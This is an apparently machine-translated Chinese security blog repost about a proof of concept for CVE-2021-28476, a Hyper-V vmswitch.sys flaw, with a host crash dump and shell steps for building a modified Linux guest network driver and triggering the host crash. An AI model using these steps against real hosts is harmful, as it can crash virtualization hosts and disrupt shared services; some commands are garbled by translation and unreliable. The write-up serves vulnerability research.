CVE-2021-28476 Hyper-V 远程代码执行漏洞

admin 2022年3月17日03:20:31评论135 views字数 2777阅读9分15秒阅读模式


        这是CVE-2021-28476(“Hyper-V 远程代码执行漏洞”)的概念证明,这是vmswitch.sys微软在 2021 年 4 月修补的任意内存读取(网络虚拟化服务提供商)。


CVE-2021-28476 Hyper-V 远程代码执行漏洞



        它可由访客虚拟机通过VMBus(这是一种用于分区间通信的基于通道的通信机制)发送恶意 RNDIS 数据包触发


CVE-2021-28476 Hyper-V 远程代码执行漏洞


这是主机系统崩溃在调试器中的样子:


*** Fatal System Error: 0x0000007e                       (0xFFFFFFFFC0000005,0xFFFFF80AD4A41A63,0xFFFFB70DD7EB7028,0xFFFFB70DD7EB6860)
Break instruction exception - code 80000003 (first chance)
A fatal system error has occurred.Debugger entered on first try; Bugcheck callbacks have not been invoked.
A fatal system error has occurred.
nt!DbgBreakPointWithStatus:fffff801`31412c50 cc int 3
kd> .cxr 0xffffb70dd7eb6860rax=fffff80ad4bc7214 rbx=fffff80ad4bf62a0 rcx=0000000000000000rdx=00000000047a2807 rsi=ffffb70dd7eb7420 rdi=ffffa58caa318f00rip=fffff80ad4a41a63 rsp=ffffb70dd7eb7260 rbp=ffffa58caa318fe0 r8=0000000000000000 r9=000000000000013b r10=deadbeefbaadc0ber11=ffffb70dd7eb7230 r12=fffff80ad4bc73d0 r13=00000000c0000001r14=00000000000021f0 r15=fffff80ad4bc7360iopl=0 nv up ei pl zr na po nccs=0010 ss=0018 ds=002b es=002b fs=0053 gs=002b efl=00050246vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb:fffff80a`d4a41a63 418b4a20 mov ecx,dword ptr [r10+20h] ds:002b:deadbeef`baadc0de=????????
kd> kp # Child-SP RetAddr Call Site00 ffffb70d`d7eb7260 fffff80a`d4a3ee41 vmswitch!VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST+0xfb01 ffffb70d`d7eb7300 fffff80a`d4a3fc76 vmswitch!VmsIfrInfoParamsNdisOidRequestBuffer+0x14d02 ffffb70d`d7eb7380 fffff80a`d4a3c779 vmswitch!RndisDevHostHandleSetMessage+0x19603 ffffb70d`d7eb7420 fffff801`3136f423 vmswitch!RndisDevHostControlMessageWorkerRoutine+0x19904 ffffb70d`d7eb74c0 fffff801`3123a975 nt!IopProcessWorkItem+0x9305 ffffb70d`d7eb7530 fffff801`3132ce85 nt!ExpWorkerThread+0x10506 ffffb70d`d7eb75d0 fffff801`31412408 nt!PspSystemThreadStartup+0x5507 ffffb70d`d7eb7620 00000000`00000000 nt!KiStartSystemThread+0x28


        该错误本身发生在VmsIfrInfoParams_OID_SWITCH_NIC_REQUEST一个函数中,该函数可以使用攻击者控制的数据(它不应该)调用,并取消引用boom->_win恶意来宾虚拟机可以提供的指针(如下)两次


CVE-2021-28476 Hyper-V 远程代码执行漏洞


运行 PoC 的最简单方法是创建一个运行最新Ubuntu Focal的 Linux 虚拟机

完成后,克隆匹配的内核源:


$ uname -aLinux Tourdeforce 5.4.0-73-generic # 82-Ubuntu SMP Wed Apr 14 17:39:42 UTC 2021 x86_64 x86_64 x86_64 GNU/Linux$ git clone git://kernel.ubuntu.com/ubuntu/ubuntu-focal.git$ cd ubuntu-焦点$ git checkout Ubuntu-5.4.0-73.82$ git 分支 fbl_vswitch$ git checkout fbl_vswitch


更换~/ubuntu-focal/drivers/net/hyperv/netvsc_drv.c的src / netvsc_drv.c~/ubuntu-focal/drivers/net/hyperv/rndis_filter.cSRC / rndis_filter.c~/ubuntu-focal/drivers/net/hyperv/hyperv_net.hSRC / hyperv_net.h(可用全DIFF CVE-2021-28476.diff):


$ sudo apt-get install git build-essential kernel-package fakeroot libncurses5-dev libssl-dev ccache bison flex libelf-dev dwarves$ cp /boot/config-5.4.0-73-generic .config$ make oldconfig$ make模块$ make M=drivers/net/hyperv


最后,通过加载模块并更改网络接口的以太网地址来触发问题(此操作会触发我们在rndis_filter.c / 中添加的特定代码路径netvsc_set_mac_addr):


$ sudo rmmod hv_netvsc && insmod 驱动程序/net/hyperv/hv_netvsc.ko$ sudo ifconfig eth0 hw ether 00:11:22:33:44


本文始发于微信公众号(Khan安全攻防实验室):CVE-2021-28476 Hyper-V 远程代码执行漏洞

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日03:20:31
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CVE-2021-28476 Hyper-V 远程代码执行漏洞https://cn-sec.com/archives/534601.html

发表评论

匿名网友 填写信息